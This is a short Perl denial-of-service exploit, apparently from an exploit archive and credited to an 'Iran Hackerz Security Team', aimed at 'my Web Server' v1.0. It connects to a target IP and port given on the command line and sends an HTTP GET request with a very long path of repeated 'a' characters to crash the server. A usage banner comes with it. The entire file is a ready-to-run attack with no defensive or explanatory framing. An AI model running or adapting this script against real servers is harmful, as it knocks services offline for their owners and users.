#!/usr/bin/perl

#my Web Server << v-1.0 Denial of Service Exploit

#vendor : Eitsop.s5.com

use IO::Socket;

use strict;

my($socket) = "";

if($socket = IO::Socket::INET->new(

PeerAddr => $ARGV[0],

PeerPort => $ARGV[1],

Proto => "TCP"))

{

print "++++++++++++++++++++++++++++++\n";

print "Connecting to $ARGV[0]:$ARGV[1] ...\n";

print "++++++++++++++++++++++++++++++\n";

print "Exploit Send successfuly!!\n";

print "++++++++++++++++++++++++++++++\n";

print $socket "GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HTTP/1.0\r\n\r\n";

close($socket);

}

else

{

print "++++++++++++++++++++++++++++++++++++++++++++++++++++\n";

print " ___ ___ __ \n";

print " / | \_____ ____ | | __ ___________________ \n";

print "/ ~ \__ \ _/ ___\| |/ // __ \_ __ \___ / \n";

print "\ Y // __ \\ \___| <\ ___/| | \// / \n";

print " \___|_ /(____ )\___ >__|_ \\___ >__| /_____ \ \n";

print " \/ \/ \/ \/ \/ \/ \n";

print " Iran Hackerz Security Team \n";

print " WebSite's: www.hackerz.ir & www.h4ckerz.com \n";

print "++++++++++++++++++++++++++++++++++++++++++++++++++++\n";

print "[Usage]perl myws.pl <IP> <Port> \n";

print "++++++++++++++++++++++++++++++++++++++++++++++++++++\n";

print "[Status]Can Not Connect To >> $ARGV[0]:$ARGV[1] \n";

print "++++++++++++++++++++++++++++++++++++++++++++++++++++\n";

}

#EoF

[ reply ]